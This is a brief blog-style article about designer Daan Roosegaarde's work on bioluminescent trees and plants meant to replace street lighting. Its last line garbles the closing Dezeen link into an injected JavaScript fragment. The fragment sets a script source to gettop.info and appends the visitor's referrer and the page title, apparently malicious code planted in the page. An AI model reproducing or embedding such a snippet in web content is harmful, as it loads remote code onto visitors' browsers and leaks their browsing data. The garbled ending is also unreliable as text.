When Glowing Trees Become Street Lights

Daan Roosegaarde is a Dutch designer who has been exploring the bio-luminescent qualities of both jellyfish and mushrooms. His ultimate intention is to create glowing trees to replace street-lighting. The systems he finds most intriguing are the way fireflies and jellyfish manage to generate their own light. Glowing-Tree-01 Glowing-Tree-02 His Bioglow plants being created at Studio Roosegaarde do not

use batteries, solar panels or run-up large energy bills. They are completely independent. Such exploits into bio-mimicry has led to this collaboration with the State University of New York, with the goal of creating a really large bio-luminescent organic trees to replace street lighting. His energy-neutral trees should soon prove extremely fascinating to the local public (and tourists alike). One can imagine truly poetic nocturnal landscapes, deriving for the softest of light sources. Glowing-Tree-03 Along similar lines, Studio Roosegaarde is also working on the Glowing Nature project. In this case, it does not use genetically modified material, achieving large light-emitting trees without causing any harm to them or the ecological system in which they thrive. As always we’ll keep you posted. In the meantime, for further info, check-out: www.dezeen.coms.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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